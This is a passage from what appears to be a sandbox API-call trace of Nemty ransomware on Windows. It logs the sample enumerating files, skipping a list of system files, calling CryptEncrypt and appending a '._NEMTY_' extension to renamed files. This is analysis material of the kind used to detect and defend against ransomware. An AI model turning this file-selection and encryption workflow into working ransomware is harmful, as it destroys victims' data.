out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f942c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d48 | out: hHeap=0x4f90000) returned 1 [0060.694] CloseHandle (hObject=0xffffffff) returned 0 [0060.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340338 [0060.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63403b0 [0060.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x6340428 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.695] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png._nemty_kgobjgd_")) returned 0 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340428 | out: hHeap=0x4f90000) returned 1 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.695] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2=".") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="..") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="...") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="windows") returned -1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="$RECYCLE.BIN") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="rsa") returned -1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="NTDETECT.COM") returned -1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="ntldr") returned -1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="MSDOS.SYS") returned -1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="IO.SYS") returned -1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="boot.ini") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="boot.ini") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="AUTOEXEC.BAT") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="ntuser.dat") returned -1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="desktop.ini") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="CONFIG.SYS") returned 1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="RECYCLER") returned -1 [0060.695] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="BOOTSECT.BAK") returned 1 [0060.696] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="bootmgr") returned 1 [0060.696] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="programdata") returned -1 [0060.696] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="appdata") returned 1 [0060.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x653ef10, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DvdTransform.fx", lpUsedDefaultChar=0x0) returned 15 [0060.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x653ef10, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DvdTransform.fx", lpUsedDefaultChar=0x0) returned 15 [0060.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x653ef60, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DvdTransform.fx", lpUsedDefaultChar=0x0) returned 15 [0060.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x653ef98, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DvdTransform.fx", lpUsedDefaultChar=0x0) returned 15 [0060.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0060.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0060.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0060.696] Sleep (dwMilliseconds=0x5) [0060.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd7d34ad0, dwHighDateTime=0x1d561e7)) [0060.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd7d34ad0, dwHighDateTime=0x1d561e7)) [0060.697] GetLastError () returned 0x5 [0060.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.698] GetLastError () returned 0x5 [0060.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.698] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0060.698] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0060.698] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0060.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0060.698] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="kZREviFuZzPyxkMzjx3qLI7wrXOHTeLhTU1zXPwKmMsTSJFSMIYxhaREn0ilJ1Yp\r\n5x+NSTChhX2gH1QDivkeOUczBNZedcE4bTwDfrWNiIEzXYpBzjPYME8hMwJ4tkiN\r\nmmLWjlKXtOTTqMVmUIJj8js6ofq8/pOwipxzG0T3+L2J0TknUth5iXSPE6bSCECZ\r\nAkjmHrUY1zGi0xTpLZi6m7ce7b+77YmX2ICn9/laMEK3QR0+5hv4x1YGodWhxZit\r\n1YOVHk4Yv+eB8ytgOBK2jnG9sJlih97QUSP8REzOoZyBz6bIwXD5YyYYY9dyOrZ1\r\n+Asmqt994EhcKg0vpJRUhQ==\r\n", pcchString=0x653ec5c) returned 1 [0060.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0060.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0060.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0060.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0060.698] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.698] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0060.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0060.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.771] SetFilePointer (in: hFile=0xffffffff, 